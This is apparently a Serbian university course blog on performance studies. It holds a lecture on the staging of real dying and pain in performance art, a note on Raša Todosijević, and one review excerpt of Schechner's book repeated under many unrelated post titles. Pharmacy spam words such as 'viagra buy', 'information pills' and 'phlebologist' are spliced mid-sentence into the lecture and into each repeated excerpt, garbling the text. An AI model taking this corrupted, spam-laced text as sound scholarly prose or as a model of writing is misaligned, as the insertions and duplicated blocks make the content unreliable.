UVOD U STUDIJE PERFORMANSA

Icon

blog kursa “Uvod u studije performansa” na Interdisciplinarnim postdiplomskim studijama Univerziteta umetnosti, Beograd

Performansi i akcije Raše Todosijevića


 

Ovo predavanje je deo istraživanja koje sam započela u julu 2008.  godine i koje je još uvek u toku.

1.

Izvođačke umetnosti su se oduvek odlikovale fascinacijom bola, information pills nasiljem, smrću, kao i osećanjima koja su ove patnje izazivale kod gledalaca, kao što su npr. strah i sažaljenje i koja se, od antike, nalaze u osnovi estetskog uživanja. Aristotel u Poetici govori o snažnim, žestokim osećajima koje bi izvođenje tragedija trebalo da izazove kod gledalaca, što je donekle kontradiktorno sa »filozofskom« prirodom tragedije i njenom racionalnom konstrukcijom i navodi na pomisao da je takav efekat (Šeknerovskim rečnikom rečeno, efikasnost performansa) mogao da se postigne samo tokom izvođenja tragedije, odnosno tragedija je trebalo da »izazivanjem straha i sažaljenja kod gledaoca proizvede katarzu ili očišćenje istih afekata«. Iako je u tragedijama i njhovim izvođenjima u pitanju bio mimezis patnje i boli,  katarza je trebalo da bude prava. U umetničkim izvođenjima,  »realno« se oduvek estetski i koncepcijski isključivalo, odnosno ono se jedino ogledalo u greškama ili nesrećnim slučajevima. Veoma retko se dešavalo da se na sceni odigra prava smrt, koja je uvek bila slučajna, kao na primer kada je sredinom 90tih godina prošlog veka, na premijeri opere Leoša Janačeka, Afera Makropulos u njujorškoj Metropolitan operi, jedan operski pevač pao sa merdevina, koje su bile visoke nekoliko metara.[1]

Ali šta se dešava sa činjenicom kada izvođenje napušta oblast mimesisa i kada  se pravo umiranje i smrt namerno, a ne slučajno, uvode na scenu? Jedan od prvih skandala izbio je 1993. godine, kada je američki koreograf  Bill T. Jones napravio ples koji je bio posvećen ljudima koji su umirali od AIDS-a ili bili zaraženi virusom HIV-a, Still/Here, sa plesačima koji su bili već zaraženi istim virusom ili čak umirali od iste bolesti, što je prouzrokovalo veliku debatu oko toga da li je etično, ili ne, dovoditi umiruće ljude na scenu. Uprkos ovoj kontroverzi, ili zbog nje, publika je, u ogromnom broju dolazila i s uzbuđenjem pratila  svako izvođenje. Kraj plesa je bio naročito upečatljiv, jer se sve završavalo potpunim skidanjem svih 50-tak izvođača koji su potom, tako goli, stajali nekoliko minuta netremice posmatrajući publiku. Očigledno je, da je efemernost i krhkost njihovih tela bila je kulminacija ovog plesa. Uznemiravajuća činjenica nalazila se u otvorenom prikazivanju  propadanja tela, u situaciji koja nije više pružala gledaoocima sigurnost u podvajanju umetnosti od stvarnosti.[2] AIDS je dugo bio »mračna, magična formula«: bolesnici od AIDS-a bili su su zapravo neumrli, oni su bili »nove sablasti koje su ‘usred života’ (bile) okružene smrću.«[3]

Od tada, kao i pod velikim uticajem umetnosti performansa, dovođenje na scenu »ne-izvođača«,  pre svega, bolesnih, fizički i mentalno nesposobnih, kao i ljudi kojima su amputirani neki delovi tela, postalo  je uobičajeno u predstavama Romea Kastelučija (Romeo Castellucci), Pipa del Bona (Pipo del Bono) i britanske plesne trupe DV8. Na primer u Kastelučijevoj Orestiji, glumac koji je igrao Apolona nije imao ruku. Za Kastelučija to je bilo pravo otelotvorenje naše sadašnje vizure Apolona kojeg jedino poznajemo preko statue koja ima odlomljene ruke. H.T. Leman navodi da, nastupi izvođača poput invalida, osakaćenih, dečaka obolelog od Daunovog sindroma, ili autističnost drugog,  u predstavama Kastelučija, omogućavaju iskustvo »na granici norme (i podnošljivosti) ‘neljudskog’ tijela.« Leman tvrdi da, kada su nastupi takvih izvođača povezani sa bukom raznolikih šumova,  koji često zvuče ‘mehanički’, nastaje scenario »noćne more« u kojoj tela, između jednog živog, stvarnog, životinjskog i drugog, gotovo već umrlog stanja, izmiču »svakoj kategorizaciji«, a ipak na paradoksalan način ukazuju na lepotu tela (i života), čak i kada su izboličena. [4]

Kulminaciju ove tendencije ka prisustvu »potpune svarnosti«, odnosno izvesne »dokumentarnosti« na sceni predstavlja poslednja »predstava« Petera Halasza, (Peter Halaš), reditelja i glumca, osnivača teatra Skvot (Squat Theatre), koji pošto je saznao da boluje od neizlečive bolesti raka jetre, odlučio da organizuje »probu« svoje sahrane u jednom budimpeštanskom pozorištu, u maju 2006. Halaš je tvrdio da ga zanima šta će njegovi prijatelji i kolege da kažu u svojim nekrolozima posvećenim njemu i zamolio ih da ih izgovore, odnosno izvedu »samo« za njega, dok je on ležao na sred scene u otvorenom kovčegu.[5]

Kako je umiranje postalo umetnost u ovom slučaju? Da li je to bilo zbog toga što je Halaš bio veoma popularan u trenutku svoje smrti u Mađarskoj, ili zato što je inače njegova reputacija bila reputacija umetnika koji je neprekidno brisao granice između umetnosti i pravog života? Ili zato što se odigralo na pozorišnoj sceni preko koje su prodefilovali Halaševi prijatelji,  koji su uglavnom bili iz sveta pozorišta, performansa i filma, jer su svirali, pevali, glumili, plesali? Iz perspektive studija performansa, moguće objašnjenje bi bilo, da jednom kada je nešto omeđeno kao da je izvođenje, onda to zaista i jeste, i tada, zastrašujuća činjenica da neko zaista umire,  izgleda manje zastrašujuća i lakša za prihvatanje, pre svega za samog umirućeg.

2.

Do sada su moji primeri bili u okviru manje-više prihvatljivih događaja. Međutim, šta se dešava kada se i ta poslednja barijera ukine, kada dođe do provale »totalne realnosti«, odnosno prikaza stvarne boli i umiranja u domen umetničkog izvođenja? Kada dođe do proboja granice koja razdvaja izvođenje i realnost, tada se na to ukazuje kao recepcijski problem , jer dolazi do ukidanja estetske distance, i gledaoci moraju da reaguju na primeren, etički način. Telo prestaje da bude označitelj, postaje provokacija i kao takvo izaziva posebne reakcije koje izlaze iz domena estetskog. Pokušaj nemačkog vizuelnog umetnika Gregora Šnajdera (Schneider), da predstavi stvarnog umirućeg čoveka u specijalnoj sobi, koju je za tu priliku konstruisao u nekoj umetničkoj galeriji, izazvao je ogroman skandal u Nemačkoj i najzad je nemački parlament zabranio ovaj »performans«.

Uprkos tome, Šnajder je konstruisao Sobu za umiranje, (Toter Raum, 2006) koja je u početku bila u izložena samo u njegovom studiju, ali sada putuje po Evropi, od galerije do galerije. [6] U pitanju je veoma jednostavna montažna soba, koja se s lakoćom montira i predstavlja repliku sobe koju je Šnajder jednom video u muzeju Haus Lange Esters u Krefildu, u Nemačkoj, sobu koja je inače reprezentativna za klasično-modernu arhitekturu, sa drvenim podom i velikim prozorima. Šnajder tvrdi da je godinama maštao o takvoj sobi u kojoj bi ljudi mogli da umiru ili da umru na miru, u humanom i harmoničnom okruženju, smatrajući da se smrt kao »finalna granica, kao tabu, kao prelazak iz žive u neživu prirodu, sa živog na raspadujeće telo koje više ne funkcioniše«, gotovo uvek odvija u osami i daleko od očiju javnosti. Stoga, smatra on, njegova dužnost je da prikaže »lepotu umiranja«.[7]

Šnajder tvrdi da nije hteo da napravi »performans«, niti scensku izvedbu od nečijeg umiranja, već sve što je želeo je da ponudi sobu nekome ko umire da provede nekoliko sati na način na koji to odabere. Da li će biti u pitanju javni događaj ili krajnje initiman, to će zavisiti samo od umirućeg i njegove rodbine. Upravo zbog toga što su porođaji postali neka vrsta javnog događaja, jer se neretko dešava da muž prisustvuje porođaju, da sve snima i da se posle sve emituje na You Tube-u , stoga smatra Šnajder, i »odlazak« iz života zaslužuje sličnu pažnju. Kako tvrdi on, »ne mislim da postoji bilo šta okrutno u samoj smrti po sebi: samo bi trebalo da postoje humaniji načini za njeno predstavljanje.”[8]

Šnajder tvrdi da smo, svakog dana,okruženi javnim prikazom smrti bilo na televiziji ili internetu. Najčešće to je nasilna smrt u katastrofama, ratovima, zatvorima, logorima, pa čak i na ulicama. Stoga, on smatra da bi naša kultura trebalo da preispita načine na koji se odnosimo prema smrti. Jer smrt nije samo tabu, već je nešto što aktivno pokušavamo da isključimo iz naših života. Tokom istorije, ljudi su umirali, okruženi porodicom, ili čak javno, i to ne samo u slučaju kraljeva i vladara, već i u slučaju običnog sveta, kao u slučaju španskog dramatičara, Pedra Kalderona Dela Barke, koji je, tokom čina svog javnog umiranja, čitao naglas svoj testament i diktirao poslednje želje. No, on je bio samo jedan od istaknutih građana Španije 17. veka koji je izabrao ovaj način »opraštanja«. S druge strane, danas gotovo svi ljudi, ako umiru prirodnom srmću, umiru po bolnicama, daleko od očiju javnosti. Agamben,  u Homo sacer-u, tvrdi da je jedno od osnovnih građanskih prava, koje bi tek trebalo osvojiti, nečije pravo nad sopstvenim životom, što takođe znači omogućavanje umirućoj osobi da definiše okolnosti sopstvenog umiranja.

Međutim,  »stvarno predstavljanje smrti« ili »predstava umiranja uživo« i dalje je poslednji tabu, osim u slučaju kada se radi o već mrtvim ili raskomadanim telima koja se slobodno prikazuju na televiziji, ili na naslovnim stranama tabloida, kao u slučaju odsečene glave u mafijaškom obračunu ili slike obešenog Sadama Huseina. Izgleda kao da su slike koje mediji emituju daleko prihvatljivije od stvarnog predstavljanja. Medijska slika preoblikuje predmet svog prikazivanja, ona ga slabi, prigušuje, redukuje ono što je realno, omogućavajući percepciju koja bi inače bila nepodnošljiva.

Primera za ovo ima bezbroj, jer medijsku estetiku umiruje ili ona pak, biva umirena, ne toliko zbog medijski posredovanog nestajanja smrtnog tela, već zato što registrujemo samo njegove naznake, kao u slučaju »direktnog prenosa« umiranja pape Jovana Pavla II, koji će ostati zabeležen kao jedan od najvećih medijskih događaja u novijoj istoriji i koji svakako predstavlja jednu od najspektakularnijih smrti jednog suverena. Iako se u stvarnosti ništa od toga nije videlo, tj. video se samo jedan upaljen prozor  sobe, u kojoj je navodno ležao umirući papa i gde je svetlo gorelo po čitavu noć, mediji su neprestano »dežurali« što je naravno privuklo na hiljade vernika da se okupe na trgu sv. Petra u Vatikanu, a prizor ove mase je nadalje privlačio ljude da dolaze, kao i da pomno prate šta se događa na televiziji iz sata u sat. Kulminacija je bila kad je 24 časa pre prave smrti, izdata lažna vest o papinoj smrti: tada više niko nije mogao da zaustavi novi talas ljudi. I kada je papa stvarno umro, tek tada je njegovo telo bilo vidljivo: izloženo u centralnoj kapeli u Vatikanu, za hiljade vernika koji su dolazili da mu odaju poslednju počast.

3.

Na Venecijanskom bijenalu 2007.  godine, Sofi Kal (Sofie Calle) je izložila svoj video rad Nemoguće je spoznati smrt (Pas pu saisir la mort), u kome je  svakodnevno snimala svoju bolesnu majku, koja je saznala da umire, gotovo u istom trenutku, kada je Sofi Kal bila pozvana da predstavlja Francusku na bijenalu. Kal je zabeležila sve majčine pripreme za umiranje (poslednji odlazak kod frizera, pedikira, biranje odeće, čitanje poslednje knjige, slušanje poslednjeg Mocartovog koncerta, kao i majčine poslednje reči), sve do trenutka kada su se pojavili prvi znaci raspadanja tela. U eksplikaciji rada, Kal je navela da je umiranje deo njenog života i da ona u tome ne vidi ništa čudno. Video rad joj je poslužio kao zaštita od suočavanja sa bolnom činjenicom gubitka majke. Pre toga, na sličnu temu Vim Venders je snimio dokumentarni film, Munja nad vodom (Lightning over water, 1980)  u kome je zabeležio umiranje američkog filmskog reditelja, Nikolasa Reja (Nicholas Ray), ali je izbegao snimak mrtvog Reja. Očigledno je da fotografije, filmovi i mediji često nemilosrdno drastično pokazuju telesno propadanje, nasilje i bol. Ali pokazivanje i opažanje se odvijaju u dva odvojena trenutka, dva udaljena prostora, odnosno ne događaju se u procesu između slike i posmatrača, pa se tako stvara određena distanca.

Mnoga izvođenja savremenom umetničkom performasu ukidaju ovu distancu, nekad na manje, a nekad na više brutalan način, otvarajući pitanje granice ljudske izdržljivosti, ne samo na sceni, već izvan nje: kako doživljavamo i vrednujemo različita društvena iskustva (npr. nepravde, represije, torture i otuđenja), iz šireg ugla ekonomske i političke borbe za ravnopravnost?[9] Kako definišemo tehnološku-tehnokratsku dominaciju u stvaranju i postizanju samopredstavljanja na sceni (između biti-postati)? Takođe, ako uzmemo u obzir da savremena izvođačka delatnost crpi svoju energiju iz direktnog, empirijskog saznanja telesnih senzacija, emitujući svoj doživljaj ekonomskog, političkog, društvenog i kulturnog nasilja preko telesnog nasilja na sceni pred vivisekscijskim pogledom gledalaca, koristeći brutalne poruke telesnih egzibicija, onda se nameće pitanje gde se nalazi granica između brutalnosti kritikovanog konteksta i brutalnosti izraza (npr. predstava Enter Achilles, DV8 u kojoj su predstavljena tela bila dovedena do krajnosti fizičke i umetničke izdržljivosti i koje je izazvalo strah za zdravlje onog ko igra)?

U evociranju »nepredstavljivog« nalazi se središnji problem izvođenja. Izazov da se ono neshvatljivo uprizori pomoću tela koje je i sàmo izloženo patnji i boli (kao najjačeg sredstva pamćenja, prema Ničeu). Sve do pre nekoliko godina, mimesiz boli ili patnje, bila je samo predstavljena, izvođena bol. No, svi navedeni primeri ukazuju na mimezu do boli, odnosno do izjednačavanja života sa umetničkim izvođenjem, odnosno prelazak sa predstavljene boli na bol doživljenu u predstavljanju (na primer u izvođenjima DV8, La Fura dels Baus, La La La Human Steps, itd.). Novo izvođenje predstavlja šok neposrednog događaja, odnosno tela, koji Julija Kristeva definiše kao znak revolucionarnog zaokreta od „ideološke pitomosti uglavljenog teksta“. U ovu kategoriju, spadaju na primer, izvođenja Brusa Najmana (Bruce Neumann), Marine Abramović, Stelarka, Rejčel Rozental (Rachel Rosenthal) i, najzad, Hane Vilke (Hannah Wilke), poznate performans umetnice koja je pred smrt, sebe fotografisala u svim fazama svoje bolesti.

4.

U seriji slika, Intra-Venus (1992-93), Vilke je prestavila svoju nastupajuću smrt, svoje »još uvek živo« telo kao smrtno, odajući utisak da je njeno telo već mrtvo, zauvek zaustavljeno na slici/fotografiji. Prema Rolanu Bartu, fotografski portret bilo koje vrste uvek označava starenje i neizbežnu smrt svog predmeta predstavljanja, uprkos tome da li je objekat  »živ« ili nije u trenutku gledanja fotografije. Pegi Felan, u svojoj knjizi Oplakivanje seksa (Mourning Sex) opisuje ovu snažnu ambivalentnost, precizinije simultano prisustvo ‘života’ i ’smrti’ na fotografskom portretu, naročito kada telo ili portret predstavljaju ograničenja tela, kao u slučaju Karavađove slike, u kojoj sv. Toma gura prst u otvorenu ranu na Hristovom telu, koji je upravo skinut sa krsta. U tom smislu, Amelija Džons tvrdi da je auto-projekcija sopstvene smrti Hane Vilke u čin »predstavljanja«, kao u slučaju Karavađa, čin gubitka i fragmentacije, odnosno ograničenja, jer kako ona zaključuje, iako je naša smrt izvesna, (mi smo, na određen način, već mrtvi), mi smo, takođe, na izvestan način »uvek neko Drugi samima sebi, pa samim tim i naša smrt je, na izvestan način, zauvek odgođena (jer kao što  mi nikad ne možemo da »znamo« da smo mrtvi, tako jedino možemo samo da anticipiramo svoju smrt).«[10] Stoga, iskasapljeno i »uskoro mrtvo« telo Hane Vilke je poput tela Hrista »amputirano, kastirano u drami u kojoj se našlo, uhvaćeno između života i smrti, između ravne površine slike i dubine unutrašnjosti tela.«[11]

U svim navedenim performansima, dolazi do samo-dramatizacije fizisa. I kad bi se vratili na skandal oko Gregora Šnajdera i njegove Sobe za umiranje, nametnulo bi nam se još jedno pitanje: Da li bi ova Šnajderova ideja o »finalnom izlasku« poremetila prihvaćenu scensku ravnotežu, i shodno tome, društvenu konvenciju, jer bi u tom slučaju događaj na sceni postao krajnje autentičan. U tom činu, odvija se realizacija intenzivnog prisustva, odnosno »epifanije« ljudskog tela, ili da parafraziramo, H.T. Lemana,  ostvaruje se određena antropofanija, jer se uvek radi o nekom posebnom, određenom, realnom, pojedinačnom ljudskom biću, o nezamenjivosti njegovog gesta, njegove životnosti u realnom vremenu, omeđenom vremenom izvođenja. »To na nov način čini ono partikularno apsolutnim, physisu otvara ekvivalent antičke teofanije.«[12] Da li bi brisanje tanke linije koja razdvaja umetnost od života, život od smrti, u Šnajderovom performansu umiranja, takođe značilo potpuno brisanje estetske distance, kao i njene estetske efikasnosti, odnosno njene suštine ?


[1] Radi ove i drugih nesrećnih slučajeva na sceni i oko nje, videti Nicholas Ridout, Stage Frights, Animals, and Other Theatrical Problems, Cambridge University Press, 2006.

[2] Aids je 80tih i 90tih godina bio poput epidemije koja je odnela mnoge umetnike. Npr. jedan od najpoznatijih glumaca Wooster grupe, Ron Vawter je neposredno pred svoju smrt od Aids-a, u dvostrukom portretu igrao dva američka homoseksualca. Tokom iznenadnih pauza u njegovom performansu, ostalo je neizvesno da li se radi o trenucima igrane ili realne iscprljenosti.

[3] H.T. Lehmann, “Postdramske slike tijela,” Postdramsko kazalište, CDU & TkH, 2004, str. 290.

[4] Ibid, str. 278.

[5] Radi punog opisa ovog događaja videti Tamas Szonyei, “Already Buried but Still Alive: Peter Halasz and His Own Funeral, The Drama Review, (TDR, 192), Winter 2006, str. 161-164.

[6] www.gregor-schneider.de

[7] Gregor Schneider, “There is Nothing Perverse About Dying Person,” The Guardian, April 26, 2008.

[8] Ibid.

[9] Ivana Sajko, »Mjesto za patnju,« Teatron, 124/25, str. 125-133. 

[10] Amelia Jones, “Beneath This Mask Another Mask, in Self/Image: Technology, Representation and the Contemporary Subject, Routledge: New York and London, 2006, str. 71.

[11] Peggy Phelan, Mourning Sex, Routledge: New York and London, 1997, str. 33.

[12] H.T. Lehmann, op. cit., str. 272.

Delovanje Raše Todosijevića kao jednog od najznačajnijih protagonista nove umetničke prakse može se svrstati u korpus neoavangardnih pojava srpske ali i svetske mape umetničkih dešavanja. Taj avangardni identitet skoro uvek je podrazumevao društveno aktivnu ulogu umetnosti. Reč o jednoj izrazito radikalnoj i nekonformističkoj umetničkoj praksi, see
koja podrivajući tradicionalno shvatanje umetnosti, ampoule
podriva i sistem na kojem se ta umetnost zasniva. Todosijevićeva umetnička praksa samokvalifikovana kao pobuna proizlazi iz pozicije progresivnog, phlebologist
antiprovincijalnog, otvorenog duha.

Najraniji radovi Raše Todosijevića nastali početkom sedamdestih mogu se nazvati akcijama, ili događajima. Primetno je umetnikovo odbijanje da razmišlja i radi u okvirima tradicionalnih tehnika, i naglašena je težnja za korišćenjem sopstvenog tela kao materijala. Akcijama Skulptura (1971) u kojoj Todosijević prostim gestom obmotava sopstveno telo oko grudi žicom, i Skulptura na telu (1972), koja se sastoji od toplomera i njihovih kutija prilepljenih za umetnikovo telo dok on sedi na stolici, umetnik je jasno istakao svest o tome šta je za njega umetnost, i šta sve može biti. Očigledan je naglasak na pravu koje umetnik daje sebi da sam odluči koji će gotov predmet proglasiti umetničkim, pa makar jedan isti (telo) bio u dva slučaja različito proglašavan, kao i direktno referisanje ka pojmu umetnosti. Po Todosijeviću umetnost se određuje na osnovu volje umetnika koji više ne prihvata već nameće kriterijume po kojima jedan određeni čin može poprimiti egzistenciju umetnosti. Karakterističan je i stav o estetskoj indiferentnosti koji postoji i u drugim ranim avangardama, slično nadrealističkom manifestu koji promoviše diktat misli, u odsustvo svake racionalne kontrole, van svake estetske ili moralne preokupacije.

Read the rest of this entry »

Kako je disident postao cijenjeni umjetnik

PRIKAZ KNJIGE
PERFORMANS STUDIES (An intorduction), cardiology
Richard Schechner
ŠESTO POGLAVLJE: PERFORMING

IZVOĐENJE

ŠIROKI SPEKTAR IZVOĐENJA

Šekner u ovom poglavlju polazi od tvrdnje da termin izvođenje podrazumeva širok spektar ljudskih aktivnosti. Prema njemu, viagra buy
možemo razlikovati: izvođenje na sceni, patient
izvođenje u posebnim društvenim situacijama i izvođenje u svakodnevnom životu. Ove vrste izvođenja mogu postojati samostalno, ali najčeše koegzistiraju, prepliću se i teško im je odrediti jasne granice.
Ono što danas dodatno podstiče našu podrebu da izvodimo, jeste i činjenica da živimo u svetu koji je zasićen medijima i panoptičkim sistemima nadzora. Tu su Internet, kablovska i satelitska televizija, kamere za nadzor…Uvek otvoreni objektivi doprinose uznemirujućem osećaju da smo, ne samo uvek posmatrani, već i da se od nas očekuje da smo uvek spremni da izvodimo za kameru, znajući da će naše izvođenje biti proučavano od nepoznatih ljudi i od ljudi kojima nismo dali dozvolu da gledaju.
U ovim veoma širokim spektrima izvođenja postoje različiti stepeni samosvesti i svesti o drugima sa kojima i za koje se izvodi. Što je osoba samosvesnija, ona više konstruiše svoje ponašanje za one koji gledaju ili slušaju, to se više ovakvo ponašanje može nazvati ‘izvođenje’. Postoje i izuzetci. U stanjima transa, posednuti su ponekad nesvesni sopstvenog ponašanja.

Read the rest of this entry »

Ispit u septembarskom roku

PRIKAZ KNJIGE
PERFORMANS STUDIES (An intorduction), cardiology
Richard Schechner
ŠESTO POGLAVLJE: PERFORMING

IZVOĐENJE

ŠIROKI SPEKTAR IZVOĐENJA

Šekner u ovom poglavlju polazi od tvrdnje da termin izvođenje podrazumeva širok spektar ljudskih aktivnosti. Prema njemu, viagra buy
možemo razlikovati: izvođenje na sceni, patient
izvođenje u posebnim društvenim situacijama i izvođenje u svakodnevnom životu. Ove vrste izvođenja mogu postojati samostalno, ali najčeše koegzistiraju, prepliću se i teško im je odrediti jasne granice.
Ono što danas dodatno podstiče našu podrebu da izvodimo, jeste i činjenica da živimo u svetu koji je zasićen medijima i panoptičkim sistemima nadzora. Tu su Internet, kablovska i satelitska televizija, kamere za nadzor…Uvek otvoreni objektivi doprinose uznemirujućem osećaju da smo, ne samo uvek posmatrani, već i da se od nas očekuje da smo uvek spremni da izvodimo za kameru, znajući da će naše izvođenje biti proučavano od nepoznatih ljudi i od ljudi kojima nismo dali dozvolu da gledaju.
U ovim veoma širokim spektrima izvođenja postoje različiti stepeni samosvesti i svesti o drugima sa kojima i za koje se izvodi. Što je osoba samosvesnija, ona više konstruiše svoje ponašanje za one koji gledaju ili slušaju, to se više ovakvo ponašanje može nazvati ‘izvođenje’. Postoje i izuzetci. U stanjima transa, posednuti su ponekad nesvesni sopstvenog ponašanja.

Read the rest of this entry »

Finalni rezultati kursa

PRIKAZ KNJIGE
PERFORMANS STUDIES (An intorduction), cardiology
Richard Schechner
ŠESTO POGLAVLJE: PERFORMING

IZVOĐENJE

ŠIROKI SPEKTAR IZVOĐENJA

Šekner u ovom poglavlju polazi od tvrdnje da termin izvođenje podrazumeva širok spektar ljudskih aktivnosti. Prema njemu, viagra buy
možemo razlikovati: izvođenje na sceni, patient
izvođenje u posebnim društvenim situacijama i izvođenje u svakodnevnom životu. Ove vrste izvođenja mogu postojati samostalno, ali najčeše koegzistiraju, prepliću se i teško im je odrediti jasne granice.
Ono što danas dodatno podstiče našu podrebu da izvodimo, jeste i činjenica da živimo u svetu koji je zasićen medijima i panoptičkim sistemima nadzora. Tu su Internet, kablovska i satelitska televizija, kamere za nadzor…Uvek otvoreni objektivi doprinose uznemirujućem osećaju da smo, ne samo uvek posmatrani, već i da se od nas očekuje da smo uvek spremni da izvodimo za kameru, znajući da će naše izvođenje biti proučavano od nepoznatih ljudi i od ljudi kojima nismo dali dozvolu da gledaju.
U ovim veoma širokim spektrima izvođenja postoje različiti stepeni samosvesti i svesti o drugima sa kojima i za koje se izvodi. Što je osoba samosvesnija, ona više konstruiše svoje ponašanje za one koji gledaju ili slušaju, to se više ovakvo ponašanje može nazvati ‘izvođenje’. Postoje i izuzetci. U stanjima transa, posednuti su ponekad nesvesni sopstvenog ponašanja.

Read the rest of this entry »

on-line performansi

PRIKAZ KNJIGE
PERFORMANS STUDIES (An intorduction), cardiology
Richard Schechner
ŠESTO POGLAVLJE: PERFORMING

IZVOĐENJE

ŠIROKI SPEKTAR IZVOĐENJA

Šekner u ovom poglavlju polazi od tvrdnje da termin izvođenje podrazumeva širok spektar ljudskih aktivnosti. Prema njemu, viagra buy
možemo razlikovati: izvođenje na sceni, patient
izvođenje u posebnim društvenim situacijama i izvođenje u svakodnevnom životu. Ove vrste izvođenja mogu postojati samostalno, ali najčeše koegzistiraju, prepliću se i teško im je odrediti jasne granice.
Ono što danas dodatno podstiče našu podrebu da izvodimo, jeste i činjenica da živimo u svetu koji je zasićen medijima i panoptičkim sistemima nadzora. Tu su Internet, kablovska i satelitska televizija, kamere za nadzor…Uvek otvoreni objektivi doprinose uznemirujućem osećaju da smo, ne samo uvek posmatrani, već i da se od nas očekuje da smo uvek spremni da izvodimo za kameru, znajući da će naše izvođenje biti proučavano od nepoznatih ljudi i od ljudi kojima nismo dali dozvolu da gledaju.
U ovim veoma širokim spektrima izvođenja postoje različiti stepeni samosvesti i svesti o drugima sa kojima i za koje se izvodi. Što je osoba samosvesnija, ona više konstruiše svoje ponašanje za one koji gledaju ili slušaju, to se više ovakvo ponašanje može nazvati ‘izvođenje’. Postoje i izuzetci. U stanjima transa, posednuti su ponekad nesvesni sopstvenog ponašanja.

Read the rest of this entry »

Problem virtuelne reprezentacije tela-AVATARA

PRIKAZ KNJIGE
PERFORMANS STUDIES (An intorduction), cardiology
Richard Schechner
ŠESTO POGLAVLJE: PERFORMING

IZVOĐENJE

ŠIROKI SPEKTAR IZVOĐENJA

Šekner u ovom poglavlju polazi od tvrdnje da termin izvođenje podrazumeva širok spektar ljudskih aktivnosti. Prema njemu, viagra buy
možemo razlikovati: izvođenje na sceni, patient
izvođenje u posebnim društvenim situacijama i izvođenje u svakodnevnom životu. Ove vrste izvođenja mogu postojati samostalno, ali najčeše koegzistiraju, prepliću se i teško im je odrediti jasne granice.
Ono što danas dodatno podstiče našu podrebu da izvodimo, jeste i činjenica da živimo u svetu koji je zasićen medijima i panoptičkim sistemima nadzora. Tu su Internet, kablovska i satelitska televizija, kamere za nadzor…Uvek otvoreni objektivi doprinose uznemirujućem osećaju da smo, ne samo uvek posmatrani, već i da se od nas očekuje da smo uvek spremni da izvodimo za kameru, znajući da će naše izvođenje biti proučavano od nepoznatih ljudi i od ljudi kojima nismo dali dozvolu da gledaju.
U ovim veoma širokim spektrima izvođenja postoje različiti stepeni samosvesti i svesti o drugima sa kojima i za koje se izvodi. Što je osoba samosvesnija, ona više konstruiše svoje ponašanje za one koji gledaju ili slušaju, to se više ovakvo ponašanje može nazvati ‘izvođenje’. Postoje i izuzetci. U stanjima transa, posednuti su ponekad nesvesni sopstvenog ponašanja.

Read the rest of this entry »

Performansi Josepha Beuysa

PRIKAZ KNJIGE
PERFORMANS STUDIES (An intorduction), cardiology
Richard Schechner
ŠESTO POGLAVLJE: PERFORMING

IZVOĐENJE

ŠIROKI SPEKTAR IZVOĐENJA

Šekner u ovom poglavlju polazi od tvrdnje da termin izvođenje podrazumeva širok spektar ljudskih aktivnosti. Prema njemu, viagra buy
možemo razlikovati: izvođenje na sceni, patient
izvođenje u posebnim društvenim situacijama i izvođenje u svakodnevnom životu. Ove vrste izvođenja mogu postojati samostalno, ali najčeše koegzistiraju, prepliću se i teško im je odrediti jasne granice.
Ono što danas dodatno podstiče našu podrebu da izvodimo, jeste i činjenica da živimo u svetu koji je zasićen medijima i panoptičkim sistemima nadzora. Tu su Internet, kablovska i satelitska televizija, kamere za nadzor…Uvek otvoreni objektivi doprinose uznemirujućem osećaju da smo, ne samo uvek posmatrani, već i da se od nas očekuje da smo uvek spremni da izvodimo za kameru, znajući da će naše izvođenje biti proučavano od nepoznatih ljudi i od ljudi kojima nismo dali dozvolu da gledaju.
U ovim veoma širokim spektrima izvođenja postoje različiti stepeni samosvesti i svesti o drugima sa kojima i za koje se izvodi. Što je osoba samosvesnija, ona više konstruiše svoje ponašanje za one koji gledaju ili slušaju, to se više ovakvo ponašanje može nazvati ‘izvođenje’. Postoje i izuzetci. U stanjima transa, posednuti su ponekad nesvesni sopstvenog ponašanja.

Read the rest of this entry »

prevod šestog poglavlja knjige performance studies ričarda šeknera

PRIKAZ KNJIGE
PERFORMANS STUDIES (An intorduction), cardiology
Richard Schechner
ŠESTO POGLAVLJE: PERFORMING

IZVOĐENJE

ŠIROKI SPEKTAR IZVOĐENJA

Šekner u ovom poglavlju polazi od tvrdnje da termin izvođenje podrazumeva širok spektar ljudskih aktivnosti. Prema njemu, viagra buy
možemo razlikovati: izvođenje na sceni, patient
izvođenje u posebnim društvenim situacijama i izvođenje u svakodnevnom životu. Ove vrste izvođenja mogu postojati samostalno, ali najčeše koegzistiraju, prepliću se i teško im je odrediti jasne granice.
Ono što danas dodatno podstiče našu podrebu da izvodimo, jeste i činjenica da živimo u svetu koji je zasićen medijima i panoptičkim sistemima nadzora. Tu su Internet, kablovska i satelitska televizija, kamere za nadzor…Uvek otvoreni objektivi doprinose uznemirujućem osećaju da smo, ne samo uvek posmatrani, već i da se od nas očekuje da smo uvek spremni da izvodimo za kameru, znajući da će naše izvođenje biti proučavano od nepoznatih ljudi i od ljudi kojima nismo dali dozvolu da gledaju.
U ovim veoma širokim spektrima izvođenja postoje različiti stepeni samosvesti i svesti o drugima sa kojima i za koje se izvodi. Što je osoba samosvesnija, ona više konstruiše svoje ponašanje za one koji gledaju ili slušaju, to se više ovakvo ponašanje može nazvati ‘izvođenje’. Postoje i izuzetci. U stanjima transa, posednuti su ponekad nesvesni sopstvenog ponašanja.

Read the rest of this entry »

prikaz šestog dela knjige performance studies ričarda šeknera

PRIKAZ KNJIGE
PERFORMANS STUDIES (An intorduction), cardiology
Richard Schechner
ŠESTO POGLAVLJE: PERFORMING

IZVOĐENJE

ŠIROKI SPEKTAR IZVOĐENJA

Šekner u ovom poglavlju polazi od tvrdnje da termin izvođenje podrazumeva širok spektar ljudskih aktivnosti. Prema njemu, viagra buy
možemo razlikovati: izvođenje na sceni, patient
izvođenje u posebnim društvenim situacijama i izvođenje u svakodnevnom životu. Ove vrste izvođenja mogu postojati samostalno, ali najčeše koegzistiraju, prepliću se i teško im je odrediti jasne granice.
Ono što danas dodatno podstiče našu podrebu da izvodimo, jeste i činjenica da živimo u svetu koji je zasićen medijima i panoptičkim sistemima nadzora. Tu su Internet, kablovska i satelitska televizija, kamere za nadzor…Uvek otvoreni objektivi doprinose uznemirujućem osećaju da smo, ne samo uvek posmatrani, već i da se od nas očekuje da smo uvek spremni da izvodimo za kameru, znajući da će naše izvođenje biti proučavano od nepoznatih ljudi i od ljudi kojima nismo dali dozvolu da gledaju.
